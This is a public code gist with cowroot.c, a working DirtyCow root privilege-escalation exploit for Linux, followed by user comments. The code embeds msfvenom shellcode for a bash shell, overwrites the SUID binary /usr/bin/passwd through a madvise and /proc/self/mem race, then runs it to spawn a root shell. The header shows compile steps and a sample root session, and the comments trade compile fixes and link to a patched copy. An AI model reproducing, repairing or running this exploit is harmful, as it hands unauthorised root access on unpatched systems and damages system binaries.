-
-
Save rverton/e9d4ff65d703a9084e85fa9df083c679 to your computer and use it in GitHub Desktop.
/* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* Size of binary: 57048 | |
* Racing, this may take a while.. | |
* /usr/bin/passwd overwritten | |
* Popping root shell. | |
* Don't forget to restore /tmp/bak | |
* thread stopped | |
* thread stopped | |
* root@box:/root/cow# id | |
* uid=0(root) gid=1000(foo) groups=1000(foo) | |
* | |
* @robinverton | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/mman.h> | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <string.h> | |
#include <unistd.h> | |
void *map; | |
int f; | |
int stop = 0; | |
struct stat st; | |
char *name; | |
pthread_t pth1,pth2,pth3; | |
// change if no permissions to read | |
char suid_binary[] = "/usr/bin/passwd"; | |
/* | |
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
*/ | |
unsigned char sc[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, | |
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, | |
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, | |
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, | |
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 | |
}; | |
unsigned int sc_len = 177; | |
/* | |
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
unsigned char sc[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, | |
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, | |
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, | |
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, | |
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, | |
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, | |
0x89, 0xe1, 0xcd, 0x80 | |
}; | |
unsigned int sc_len = 136; | |
*/ | |
void *madviseThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int i,c=0; | |
for(i=0;i<1000000 && !stop;i++) { | |
c+=madvise(map,100,MADV_DONTNEED); | |
} | |
printf("thread stopped\n"); | |
} | |
void *procselfmemThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int f=open("/proc/self/mem",O_RDWR); | |
int i,c=0; | |
for(i=0;i<1000000 && !stop;i++) { | |
lseek(f,map,SEEK_SET); | |
c+=write(f, str, sc_len); | |
} | |
printf("thread stopped\n"); | |
} | |
void *waitForWrite(void *arg) { | |
char buf[sc_len]; | |
for(;;) { | |
FILE *fp = fopen(suid_binary, "rb"); | |
fread(buf, sc_len, 1, fp); | |
if(memcmp(buf, sc, sc_len) == 0) { | |
printf("%s overwritten\n", suid_binary); | |
break; | |
} | |
fclose(fp); | |
sleep(1); | |
} | |
stop = 1; | |
printf("Popping root shell.\n"); | |
printf("Don't forget to restore /tmp/bak\n"); | |
system(suid_binary); | |
} | |
int main(int argc,char *argv[]) { | |
char *backup; | |
printf("DirtyCow root privilege escalation\n"); | |
printf("Backing up %s to /tmp/bak\n", suid_binary); | |
asprintf(&backup, "cp %s /tmp/bak", suid_binary); | |
system(backup); | |
f = open(suid_binary,O_RDONLY); | |
fstat(f,&st); | |
printf("Size of binary: %d\n", st.st_size); | |
char payload[st.st_size]; | |
memset(payload, 0x90, st.st_size); | |
memcpy(payload, sc, sc_len+1); | |
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); | |
printf("Racing, this may take a while..\n"); | |
pthread_create(&pth1, NULL, &madviseThread, suid_binary); | |
pthread_create(&pth2, NULL, &procselfmemThread, payload); | |
pthread_create(&pth3, NULL, &waitForWrite, NULL); | |
pthread_join(pth3, NULL); | |
return 0; | |
} |
Awesome, saved my old dev computer after I forgot my root creds.
TheBunnyCoder no, it isn´t happen. It means it doesn´t work in your machine
It works but freeze the machine. I think there isn´t other way like cowroot
version `GLIBC_2.34' not found
./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.33' not found (required by ./cowroot) ./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version
GLIBC_2.34' not found (required by ./cowroot)
LSEEK( ) Error on Compiling
If you are facing an lseek()
error. Go to line 97 and find the following piece of code:
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET); # Change Me
c+=write(f, str, sc_len);
}
Delete the line that says "Change Me" and replace it with - lseek(f, (off_t)map, SEEK_SET);
. Now it should compile without errors.
The edited gist that works, can be found here -
https://gist.github.com/hutgrabber/0f9e8584f6e754cb9dba6f909467afaf
Any reason why we use
100
as size withmadvise